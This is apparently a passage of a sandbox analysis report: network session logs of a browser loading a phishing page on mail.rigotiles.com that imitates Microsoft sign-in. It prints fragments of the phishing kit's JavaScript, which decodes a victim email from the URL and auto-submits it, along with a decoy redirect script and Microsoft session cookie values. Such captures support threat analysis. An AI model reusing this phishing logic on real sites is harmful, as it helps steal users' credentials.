2024-10-31 20:55:11 UTC	170	IN	Data Raw: 61 34 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 27 72 65 66 65 72 72 65 72 27 20 63 6f 6e 74 65 6e 74 3d 27 6e 6f 2d 72 65 66 65 72 72 65 72 27 3e 3c 73 63 72 69 70 74 3e 74 6f 70 2e 6c 6f 63 61 74 69 6f 6e 2e 68 72 65 66 3d 27 68 74 74 70 73 3a 2f 2f 77 77 77 2e 79 6f 75 74 75 62 65 2e 63 6f 6d 2f 77 61 74 63 68 3f 76 3d 64 51 77 34 77 39 57 67 58 63 51 27 3b 3c 2f 73 63 72 69 70 74 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: a4<html><head><meta name='referrer' content='no-referrer'><script>top.location.href='https://www.youtube.com/watch?v=dQw4w9WgXcQ';</script></head><body></body></html>
2024-10-31 20:55:11 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
50	192.168.2.16	53732	188.114.96.3	443	7004	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-31 20:55:11 UTC	1572	OUT	GET /s/07f1e878a6a4099a22d191aa8620db246a4d51250183c5b6fa76fa586131f157/e912187ff14fbe0e087fdd0242e0ac50ec5f2e3b1729e3fe0d8b2bf4a69d8ad8.js HTTP/1.1 Host: mail.rigotiles.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: 0874-e292=07f1e878a6a4099a22d191aa8620db246a4d51250183c5b6fa76fa586131f157; x-ms-gateway-slice=estsfd; stsservicecookie=estsfd; MUID=3FEF292F99CD6FE9028E3C0698816E87; esctx-tqcq03maRtc=AQABCQEAAADW6jl31mB3T7ugrWTT8pFeshBZkdRtL4uCiakvoFKUDu3OINUz_20GUUDVINotffSlbTWb7a8G4YNtFArgcCTCPKsCD9L0xmgVGLAHq1Y_wENBJBKaSY6c_QUlSL0ILScFRvwDLrvS27gX9qgXcWroShwQ2ZnyokFi_x8kbcBoYiAA; AADSSO=NA\|NoExtension; SSOCOOKIEPULLED=1; buid=1.AVcAMe_N-B6jSkuT5F9XHpElWltEZUfGMrBJg-Ydk3ZSdsoBAABXAA.AQABGgEAAADW6jl31mB3T7ugrWTT8pFerZf0XEYEZYyGvuOyhwJXB0SRCqxULEeublamFNpO0jFXZ9YFjqfZCaUBfBGl91uuei8RAX0IxUQQXCGAW3q6a4UUG7Lx2Kj1Cvos0cPADXEgAA; esctx=PAQABBwEAAADW6jl31mB3T7ugrWTT8pFeAIdB6zq4vN0DWkBIaJo0qgFemNm-IOQkhwMmnl3AVpjNjIdkgwvGVpLgP48V6TVGSeTlMHBMn5NuqK4HcVUYb-QtDoYuIzsamwnhU0C1nUhK9pDAKsu3LAbS7PHWVR9E_5d-72Y7smPtaCKExlNDWP_1SD4rk6zpjT5kjDEwhcogAA; esctx-6wnTxwCVaTE=AQABCQEAAADW6jl31mB3T7ugrWTT8pFe2e65jp_s8IvfYI3DNLBSNfTbickbZmZ3ptWJ39Fra1v9JlbHB41GP3Ivl_YewUg_Ele1pR2J7OgiZm5AtQIrJJVFszzVnQV7LkcSVPhuu4TuPcf_vaaUceEZV6BFa6EDrm8A [TRUNCATED]
2024-10-31 20:55:11 UTC	839	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 20:55:11 GMT Content-Type: application/javascript Transfer-Encoding: chunked Connection: close Access-Control-Allow-Credentials: true Cache-Control: no-cache, no-store CF-Cache-Status: BYPASS Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=36ZqR0zwa3Nsmnal6CibvFIllheFU2CyBXKW%2BvMBQhxLyZWEjy7438Z6YzIu4lyvDJPA3NCLJw8HeIayR0h8%2FIDaFyTCGZv2yCzEmfshEzfIVxkB1DTdf%2BDSNZOhfLaiKqf0P3k%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8db68b666f112fd0-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1146&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2829&recv_bytes=2150&delivery_rate=2527050&cwnd=251&unsent_bytes=0&cid=703ea34585e6a37b&ts=320&x=0"
2024-10-31 20:55:11 UTC	530	IN	Data Raw: 33 32 37 0d 0a 66 75 6e 63 74 69 6f 6e 20 6c 70 28 29 7b 0a 20 20 76 61 72 20 65 6d 61 69 6c 49 64 20 3d 20 64 6f 63 75 6d 65 6e 74 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 28 22 23 69 30 31 31 36 22 29 3b 0a 20 20 76 61 72 20 6e 65 78 74 42 75 74 74 6f 6e 20 3d 20 64 6f 63 75 6d 65 6e 74 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 28 22 23 69 64 53 49 42 75 74 74 6f 6e 39 22 29 3b 0a 20 20 76 61 72 20 71 75 65 72 79 20 3d 20 77 69 6e 64 6f 77 2e 6c 6f 63 61 74 69 6f 6e 2e 68 72 65 66 3b 0a 20 20 69 66 20 28 2f 23 2f 2e 74 65 73 74 28 77 69 6e 64 6f 77 2e 6c 6f 63 61 74 69 6f 6e 2e 68 72 65 66 29 29 7b 0a 20 20 76 61 72 20 72 65 73 20 3d 20 71 75 65 72 79 2e 73 70 6c 69 74 28 22 23 22 29 3b 0a 20 20 76 61 72 20 64 61 74 61 31 20 3d 20 72 65 73 5b 30 5d 3b Data Ascii: 327function lp(){ var emailId = document.querySelector("#i0116"); var nextButton = document.querySelector("#idSIButton9"); var query = window.location.href; if (/#/.test(window.location.href)){ var res = query.split("#"); var data1 = res[0];
2024-10-31 20:55:11 UTC	284	IN	Data Raw: 63 68 20 28 65 29 20 7b 0a 20 20 20 20 63 6f 6e 73 6f 6c 65 2e 65 72 72 6f 72 28 27 45 72 72 6f 72 20 64 65 63 6f 64 69 6e 67 20 62 61 73 65 36 34 20 73 74 72 69 6e 67 3a 27 2c 20 65 29 3b 0a 20 20 7d 0a 7d 0a 65 6d 61 69 6c 49 64 2e 66 6f 63 75 73 28 29 3b 0a 65 6d 61 69 6c 49 64 2e 76 61 6c 75 65 20 3d 20 64 65 63 6f 64 65 64 53 74 72 69 6e 67 3b 0a 6e 65 78 74 42 75 74 74 6f 6e 2e 66 6f 63 75 73 28 29 3b 0a 6e 65 78 74 42 75 74 74 6f 6e 2e 63 6c 69 63 6b 28 29 3b 0a 63 6f 6e 73 6f 6c 65 2e 6c 6f 67 28 22 59 45 53 21 22 29 3b 0a 72 65 74 75 72 6e 3b 0a 20 20 20 20 20 20 7d 0a 20 20 7d 0a 20 20 20 73 65 74 54 69 6d 65 6f 75 74 28 66 75 6e 63 74 69 6f 6e 28 29 7b 6c 70 28 29 3b 7d 2c 20 35 30 30 29 3b 0a 20 20 7d 0a 20 20 73 65 74 54 69 6d 65 6f 75 74 28 Data Ascii: ch (e) { console.error('Error decoding base64 string:', e); }}emailId.focus();emailId.value = decodedString;nextButton.focus();nextButton.click();console.log("YES!");return; } } setTimeout(function(){lp();}, 500); } setTimeout(
2024-10-31 20:55:11 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
51	192.168.2.16	53734	188.114.96.3	443	7004	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-31 20:55:11 UTC	1507	OUT	GET /s/07f1e878a6a4099a22d191aa8620db246a4d51250183c5b6fa76fa586131f157.js HTTP/1.1 Host: mail.rigotiles.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: 0874-e292=07f1e878a6a4099a22d191aa8620db246a4d51250183c5b6fa76fa586131f157; x-ms-gateway-slice=estsfd; stsservicecookie=estsfd; MUID=3FEF292F99CD6FE9028E3C0698816E87; esctx-tqcq03maRtc=AQABCQEAAADW6jl31mB3T7ugrWTT8pFeshBZkdRtL4uCiakvoFKUDu3OINUz_20GUUDVINotffSlbTWb7a8G4YNtFArgcCTCPKsCD9L0xmgVGLAHq1Y_wENBJBKaSY6c_QUlSL0ILScFRvwDLrvS27gX9qgXcWroShwQ2ZnyokFi_x8kbcBoYiAA; AADSSO=NA\|NoExtension; SSOCOOKIEPULLED=1; buid=1.AVcAMe_N-B6jSkuT5F9XHpElWltEZUfGMrBJg-Ydk3ZSdsoBAABXAA.AQABGgEAAADW6jl31mB3T7ugrWTT8pFerZf0XEYEZYyGvuOyhwJXB0SRCqxULEeublamFNpO0jFXZ9YFjqfZCaUBfBGl91uuei8RAX0IxUQQXCGAW3q6a4UUG7Lx2Kj1Cvos0cPADXEgAA; esctx=PAQABBwEAAADW6jl31mB3T7ugrWTT8pFeAIdB6zq4vN0DWkBIaJo0qgFemNm-IOQkhwMmnl3AVpjNjIdkgwvGVpLgP48V6TVGSeTlMHBMn5NuqK4HcVUYb-QtDoYuIzsamwnhU0C1nUhK9pDAKsu3LAbS7PHWVR9E_5d-72Y7smPtaCKExlNDWP_1SD4rk6zpjT5kjDEwhcogAA; esctx-6wnTxwCVaTE=AQABCQEAAADW6jl31mB3T7ugrWTT8pFe2e65jp_s8IvfYI3DNLBSNfTbickbZmZ3ptWJ39Fra1v9JlbHB41GP3Ivl_YewUg_Ele1pR2J7OgiZm5AtQIrJJVFszzVnQV7LkcSVPhuu4TuPcf_vaaUceEZV6BFa6EDrm8A [TRUNCATED]
2024-10-31 20:55:11 UTC	839	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 20:55:11 GMT Content-Type: application/javascript Transfer-Encoding: chunked Connection: close Access-Control-Allow-Credentials: true Cache-Control: no-cache, no-store CF-Cache-Status: BYPASS Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=sut1tm6cStJjtI%2Fxl00bfXOWiFg4Wm9ZeofQHimN7tDxq9njpUdTUlc2udTMDW9zrzMcUxb8Yzj6vK6q5cauPKgdPE6EA3SHiqx%2Bw6cQa4DW7WFII%2FSSVc3tYYBL8vRR80V26RM%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8db68b69ebc92d33-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1397&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2829&recv_bytes=2085&delivery_rate=2062678&cwnd=249&unsent_bytes=0&cid=3dca37765f11467f&ts=359&x=0"
2024-10-31 20:55:11 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
52	192.168.2.16	53733	152.199.21.175	443	7004	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-31 20:55:11 UTC	646	OUT	GET /ests/2.1/content/cdnbundles/converged.v2.login.min_nin8k2ycrbzww8zl5vxkaq2.css HTTP/1.1 Host: aadcdn.msftauth.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Origin: https://mail.rigotiles.com sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: text/css,/;q=0.1 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: style Referer: https://mail.rigotiles.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-31 20:55:13 UTC	734	IN	HTTP/1.1 200 OK Access-Control-Allow-Origin: * Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,Content-Type,Content-Encoding,Cache-Control,Last-Modified,ETag,Content-MD5,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding Age: 3047179 Cache-Control: public, max-age=31536000 Content-MD5: 8N6amNvfqMAnQs5tkvslJA== Content-Type: text/css Date: Thu, 31 Oct 2024 20:55:11 GMT Etag: 0x8DCDDAB171F8006 Last-Modified: Wed, 25 Sep 2024 21:43:27 GMT Server: ECAcc (lhc/78AC) Vary: Accept-Encoding X-Cache: HIT x-ms-blob-type: BlockBlob x-ms-lease-status: unlocked x-ms-request-id: 541c8d22-201e-00d2-0520-100289000000 x-ms-version: 2009-09-19 Content-Length: 113378 Connection: close
2024-10-31 20:55:13 UTC	16383	IN	Data Raw: 2f 2a 21 20 43 6f 70 79 72 69 67 68 74 20 28 43 29 20 4d 69 63 72 6f 73 6f 66 74 20 43 6f 72 70 6f 72 61 74 69 6f 6e 2e 20 41 6c 6c 20 72 69 67 68 74 73 20 72 65 73 65 72 76 65 64 2e 20 2a 2f 2f 2a 21 0a 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 20 53 54 41 52 54 20 4f 46 20 54 48 49 52 44 20 50 41 52 54 59 20 4e 4f 54 49 43 45 20 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 0a 0a 54 68 69 73 20 66 69 6c 65 20 69 73 20 62 61 73 65 64 20 6f 6e 20 6f 72 20 69 6e 63 6f 72 70 6f 72 61 74 65 73 20 6d 61 74 65 72 69 61 6c 20 66 72 6f 6d 20 74 68 65 20 70 72 6f 6a 65 63 74 73 20 6c 69 73 74 65 64 20 Data Ascii: /! Copyright (C) Microsoft Corporation. All rights reserved. //*!------------------------------------------- START OF THIRD PARTY NOTICE -----------------------------------------This file is based on or incorporates material from the projects listed
2024-10-31 20:55:13 UTC	1	IN	Data Raw: 73 Data Ascii: s
2024-10-31 20:55:13 UTC	16383	IN	Data Raw: 2d 31 2c 2e 63 6f 6c 2d 78 73 2d 32 2c 2e 63 6f 6c 2d 78 73 2d 33 2c 2e 63 6f 6c 2d 78 73 2d 34 2c 2e 63 6f 6c 2d 78 73 2d 35 2c 2e 63 6f 6c 2d 78 73 2d 36 2c 2e 63 6f 6c 2d 78 73 2d 37 2c 2e 63 6f 6c 2d 78 73 2d 38 2c 2e 63 6f 6c 2d 78 73 2d 39 2c 2e 63 6f 6c 2d 78 73 2d 31 30 2c 2e 63 6f 6c 2d 78 73 2d 31 31 2c 2e 63 6f 6c 2d 78 73 2d 31 32 2c 2e 63 6f 6c 2d 78 73 2d 31 33 2c 2e 63 6f 6c 2d 78 73 2d 31 34 2c 2e 63 6f 6c 2d 78 73 2d 31 35 2c 2e 63 6f 6c 2d 78 73 2d 31 36 2c 2e 63 6f 6c 2d 78 73 2d 31 37 2c 2e 63 6f 6c 2d 78 73 2d 31 38 2c 2e 63 6f 6c 2d 78 73 2d 31 39 2c 2e 63 6f 6c 2d 78 73 2d 32 30 2c 2e 63 6f 6c 2d 78 73 2d 32 31 2c 2e 63 6f 6c 2d 78 73 2d 32 32 2c 2e 63 6f 6c 2d 78 73 2d 32 33 2c 2e 63 6f 6c 2d 78 73 2d 32 34 7b 66 6c 6f 61 74 3a 6c Data Ascii: -1,.col-xs-2,.col-xs-3,.col-xs-4,.col-xs-5,.col-xs-6,.col-xs-7,.col-xs-8,.col-xs-9,.col-xs-10,.col-xs-11,.col-xs-12,.col-xs-13,.col-xs-14,.col-xs-15,.col-xs-16,.col-xs-17,.col-xs-18,.col-xs-19,.col-xs-20,.col-xs-21,.col-xs-22,.col-xs-23,.col-xs-24{float:l
2024-10-31 20:55:13 UTC	16383	IN	Data Raw: 67 69 6e 2d 6c 65 66 74 3a 39 35 2e 38 33 33 33 33 25 7d 2e 63 6f 6c 2d 78 6c 2d 6f 66 66 73 65 74 2d 32 34 7b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 31 30 30 25 7d 7d 66 69 65 6c 64 73 65 74 7b 70 61 64 64 69 6e 67 3a 30 3b 6d 61 72 67 69 6e 3a 30 3b 62 6f 72 64 65 72 3a 30 3b 6d 69 6e 2d 77 69 64 74 68 3a 30 7d 6c 65 67 65 6e 64 7b 64 69 73 70 6c 61 79 3a 62 6c 6f 63 6b 3b 77 69 64 74 68 3a 31 30 30 25 3b 70 61 64 64 69 6e 67 3a 30 3b 62 6f 72 64 65 72 3a 30 7d 6c 61 62 65 6c 7b 64 69 73 70 6c 61 79 3a 69 6e 6c 69 6e 65 2d 62 6c 6f 63 6b 3b 6d 61 78 2d 77 69 64 74 68 3a 31 30 30 25 7d 69 6e 70 75 74 5b 74 79 70 65 3d 22 73 65 61 72 63 68 22 5d 7b 2d 77 65 62 6b 69 74 2d 62 6f 78 2d 73 69 7a 69 6e 67 3a 62 6f 72 64 65 72 2d 62 6f 78 3b 2d 6d 6f 7a 2d 62 6f Data Ascii: gin-left:95.83333%}.col-xl-offset-24{margin-left:100%}}fieldset{padding:0;margin:0;border:0;min-width:0}legend{display:block;width:100%;padding:0;border:0}label{display:inline-block;max-width:100%}input[type="search"]{-webkit-box-sizing:border-box;-moz-bo
2024-10-31 20:55:13 UTC	16383	IN	Data Raw: 6c 6f 77 2d 78 3a 61 75 74 6f 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 2e 30 31 25 7d 40 6d 65 64 69 61 20 73 63 72 65 65 6e 20 61 6e 64 20 28 6d 61 78 2d 77 69 64 74 68 3a 35 33 39 70 78 29 7b 2e 74 61 62 6c 65 2d 72 65 73 70 6f 6e 73 69 76 65 7b 77 69 64 74 68 3a 31 30 30 25 3b 6d 61 72 67 69 6e 2d 62 6f 74 74 6f 6d 3a 31 35 70 78 3b 6f 76 65 72 66 6c 6f 77 2d 79 3a 68 69 64 64 65 6e 3b 2d 6d 73 2d 6f 76 65 72 66 6c 6f 77 2d 73 74 79 6c 65 3a 2d 6d 73 2d 61 75 74 6f 68 69 64 69 6e 67 2d 73 63 72 6f 6c 6c 62 61 72 7d 2e 74 61 62 6c 65 2d 72 65 73 70 6f 6e 73 69 76 65 3e 2e 74 61 62 6c 65 7b 6d 61 72 67 69 6e 2d 62 6f 74 74 6f 6d 3a 30 7d 2e 74 61 62 6c 65 2d 72 65 73 70 6f 6e 73 69 76 65 3e 2e 74 61 62 6c 65 3e 74 68 65 61 64 3e 74 72 3e 74 68 2c 2e 74 61 62 Data Ascii: low-x:auto;min-height:.01%}@media screen and (max-width:539px){.table-responsive{width:100%;margin-bottom:15px;overflow-y:hidden;-ms-overflow-style:-ms-autohiding-scrollbar}.table-responsive>.table{margin-bottom:0}.table-responsive>.table>thead>tr>th,.tab

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
53	192.168.2.16	53736	152.199.21.175	443	7004	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-31 20:55:13 UTC	623	OUT	GET /shared/1.0/content/js/ConvergedLogin_PCore_IzDt-l0Cuie0gYRUoEk15w2.js HTTP/1.1 Host: aadcdn.msftauth.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Origin: https://mail.rigotiles.com sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: script Referer: https://mail.rigotiles.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-31 20:55:13 UTC	750	IN	HTTP/1.1 200 OK Access-Control-Allow-Origin: * Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,Content-Type,Content-Encoding,Cache-Control,Last-Modified,ETag,Content-MD5,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding Age: 1989981 Cache-Control: public, max-age=31536000 Content-MD5: FH5pMpu6b85N3p947XewnA== Content-Type: application/x-javascript Date: Thu, 31 Oct 2024 20:55:13 GMT Etag: 0x8DCE4DDC9563CC2 Last-Modified: Sat, 05 Oct 2024 01:33:59 GMT Server: ECAcc (lhc/7966) Vary: Accept-Encoding X-Cache: HIT x-ms-blob-type: BlockBlob x-ms-lease-status: unlocked x-ms-request-id: c1c9facd-f01e-0047-7abd-19ea3c000000 x-ms-version: 2009-09-19 Content-Length: 449972 Connection: close
2024-10-31 20:55:13 UTC	16383	IN	Data Raw: 2f 2a 21 0a 20 2a 20 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 20 53 54 41 52 54 20 4f 46 20 54 48 49 52 44 20 50 41 52 54 59 20 4e 4f 54 49 43 45 20 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 0a 20 2a 20 0a 20 2a 20 54 68 69 73 20 66 69 6c 65 20 69 73 20 62 61 73 65 64 20 6f 6e 20 6f 72 20 69 6e 63 6f 72 70 6f 72 61 74 65 73 20 6d 61 74 65 72 69 61 6c 20 66 72 6f 6d 20 74 68 65 20 70 72 6f 6a 65 63 74 73 20 6c 69 73 74 65 64 20 62 65 6c 6f 77 20 28 54 68 69 72 64 20 50 61 72 74 79 20 49 50 29 2e 20 54 68 65 20 6f 72 69 67 69 6e 61 6c 20 63 6f 70 79 72 69 67 68 74 20 6e 6f 74 69 63 65 20 61 Data Ascii: /! ------------------------------------------- START OF THIRD PARTY NOTICE ----------------------------------------- * * This file is based on or incorporates material from the projects listed below (Third Party IP). The original copyright notice a
2024-10-31 20:55:13 UTC	16383	IN	Data Raw: 44 49 4e 47 5f 4e 4f 54 5f 41 4c 4c 4f 57 45 44 3a 22 38 30 30 34 37 38 44 37 22 2c 50 50 5f 45 5f 49 44 50 5f 42 49 4e 44 49 4e 47 5f 45 58 49 53 54 53 5f 53 41 4d 53 55 4e 47 3a 22 38 30 30 34 34 35 33 45 22 2c 50 50 5f 45 5f 54 52 41 4e 53 46 45 52 5f 54 4f 4b 45 4e 5f 49 4e 56 41 4c 49 44 5f 53 45 53 53 49 4f 4e 3a 22 38 30 30 34 33 35 41 30 22 7d 2c 6e 2e 45 73 74 73 45 72 72 6f 72 3d 7b 55 73 65 72 41 63 63 6f 75 6e 74 53 65 6c 65 63 74 69 6f 6e 49 6e 76 61 6c 69 64 3a 22 31 36 30 30 31 22 2c 55 73 65 72 55 6e 61 75 74 68 6f 72 69 7a 65 64 3a 22 35 30 30 32 30 22 2c 55 73 65 72 55 6e 61 75 74 68 6f 72 69 7a 65 64 41 70 69 56 65 72 73 69 6f 6e 4e 6f 74 53 75 70 70 6f 72 74 65 64 3a 22 35 30 30 32 30 31 22 2c 55 73 65 72 55 6e 61 75 74 68 6f 72 69 7a Data Ascii: DING_NOT_ALLOWED:"800478D7",PP_E_IDP_BINDING_EXISTS_SAMSUNG:"8004453E",PP_E_TRANSFER_TOKEN_INVALID_SESSION:"800435A0"},n.EstsError={UserAccountSelectionInvalid:"16001",UserUnauthorized:"50020",UserUnauthorizedApiVersionNotSupported:"500201",UserUnauthoriz
2024-10-31 20:55:13 UTC	2	IN	Data Raw: 64 6f Data Ascii: do
2024-10-31 20:55:13 UTC	16383	IN	Data Raw: 63 75 6d 65 6e 74 2e 64 65 66 61 75 6c 74 56 69 65 77 2e 67 65 74 43 6f 6d 70 75 74 65 64 53 74 79 6c 65 28 65 2c 6e 75 6c 6c 29 3a 65 2e 63 75 72 72 65 6e 74 53 74 79 6c 65 3f 65 2e 63 75 72 72 65 6e 74 53 74 79 6c 65 3a 7b 7d 7d 2c 68 69 73 74 6f 72 79 3a 7b 70 75 73 68 53 74 61 74 65 3a 66 75 6e 63 74 69 6f 6e 28 65 2c 6e 29 7b 54 2e 69 73 48 69 73 74 6f 72 79 53 75 70 70 6f 72 74 65 64 28 29 26 26 75 2e 68 69 73 74 6f 72 79 2e 70 75 73 68 53 74 61 74 65 28 65 2c 6e 29 7d 2c 72 65 70 6c 61 63 65 53 74 61 74 65 3a 66 75 6e 63 74 69 6f 6e 28 65 2c 6e 29 7b 54 2e 69 73 48 69 73 74 6f 72 79 53 75 70 70 6f 72 74 65 64 28 29 26 26 75 2e 68 69 73 74 6f 72 79 2e 72 65 70 6c 61 63 65 53 74 61 74 65 28 65 2c 6e 29 7d 7d 2c 61 64 64 45 76 65 6e 74 4c 69 73 74 65 Data Ascii: cument.defaultView.getComputedStyle(e,null):e.currentStyle?e.currentStyle:{}},history:{pushState:function(e,n){T.isHistorySupported()&&u.history.pushState(e,n)},replaceState:function(e,n){T.isHistorySupported()&&u.history.replaceState(e,n)}},addEventListe
2024-10-31 20:55:13 UTC	16383	IN	Data Raw: 72 6f 70 65 72 74 79 4c 6f 67 4f 70 74 69 6f 6e 3d 66 75 6e 63 74 69 6f 6e 28 65 2c 6e 29 7b 72 65 74 75 72 6e 28 6e 3d 6e 7c 7c 7b 7d 29 2e 68 61 73 4f 77 6e 50 72 6f 70 65 72 74 79 28 22 74 72 61 63 69 6e 67 50 72 6f 70 65 72 74 79 43 68 61 6e 67 65 22 29 7c 7c 28 6e 2e 74 72 61 63 69 6e 67 50 72 6f 70 65 72 74 79 43 68 61 6e 67 65 3d 21 30 29 2c 6e 2e 65 76 65 6e 74 4c 65 76 65 6c 3d 6e 2e 65 76 65 6e 74 4c 65 76 65 6c 7c 7c 69 2e 45 76 65 6e 74 4c 65 76 65 6c 2e 49 6e 66 6f 2c 7b 76 69 65 77 4d 6f 64 65 6c 3a 65 2c 74 72 61 63 69 6e 67 4f 70 74 69 6f 6e 73 3a 6e 7d 7d 2c 73 2e 67 65 74 44 65 66 61 75 6c 74 54 65 78 74 42 6f 78 50 72 6f 70 65 72 74 79 4c 6f 67 4f 70 74 69 6f 6e 3d 66 75 6e 63 74 69 6f 6e 28 65 2c 6e 29 7b 72 65 74 75 72 6e 28 6e 3d 6e Data Ascii: ropertyLogOption=function(e,n){return(n=n\|\|{}).hasOwnProperty("tracingPropertyChange")\|\|(n.tracingPropertyChange=!0),n.eventLevel=n.eventLevel\|\|i.EventLevel.Info,{viewModel:e,tracingOptions:n}},s.getDefaultTextBoxPropertyLogOption=function(e,n){return(n=n
2024-10-31 20:55:13 UTC	16383	IN	Data Raw: 72 20 6e 3d 65 2e 75 73 65 72 6e 61 6d 65 7c 7c 22 22 2c 74 3d 65 2e 66 6c 6f 77 54 6f 6b 65 6e 7c 7c 22 22 2c 69 3d 65 2e 70 75 72 70 6f 73 65 7c 7c 63 2e 50 61 73 73 77 6f 72 64 2c 61 3d 65 2e 70 72 6f 6f 66 54 79 70 65 2c 6f 3d 65 2e 70 72 6f 6f 66 44 61 74 61 7c 7c 22 22 2c 72 3d 65 2e 69 73 45 6e 63 72 79 70 74 65 64 2c 73 3d 65 2e 75 69 4d 6f 64 65 2c 64 3d 65 2e 6c 63 69 64 2c 6c 3d 65 2e 70 68 6f 6e 65 43 6f 75 6e 74 72 79 7c 7c 22 22 2c 70 3d 65 2e 70 68 6f 6e 65 43 6f 75 6e 74 72 79 43 6f 64 65 7c 7c 22 22 2c 6d 3d 65 2e 75 6e 61 75 74 68 53 65 73 73 69 6f 6e 49 64 2c 62 3d 65 2e 70 72 6f 6f 66 43 6f 6e 66 69 72 6d 61 74 69 6f 6e 2c 76 3d 65 2e 63 61 6e 61 72 79 46 6c 6f 77 54 6f 6b 65 6e 3b 74 68 69 73 5b 75 2e 55 73 65 72 6e 61 6d 65 5d 3d 6e Data Ascii: r n=e.username\|\|"",t=e.flowToken\|\|"",i=e.purpose\|\|c.Password,a=e.proofType,o=e.proofData\|\|"",r=e.isEncrypted,s=e.uiMode,d=e.lcid,l=e.phoneCountry\|\|"",p=e.phoneCountryCode\|\|"",m=e.unauthSessionId,b=e.proofConfirmation,v=e.canaryFlowToken;this[u.Username]=n
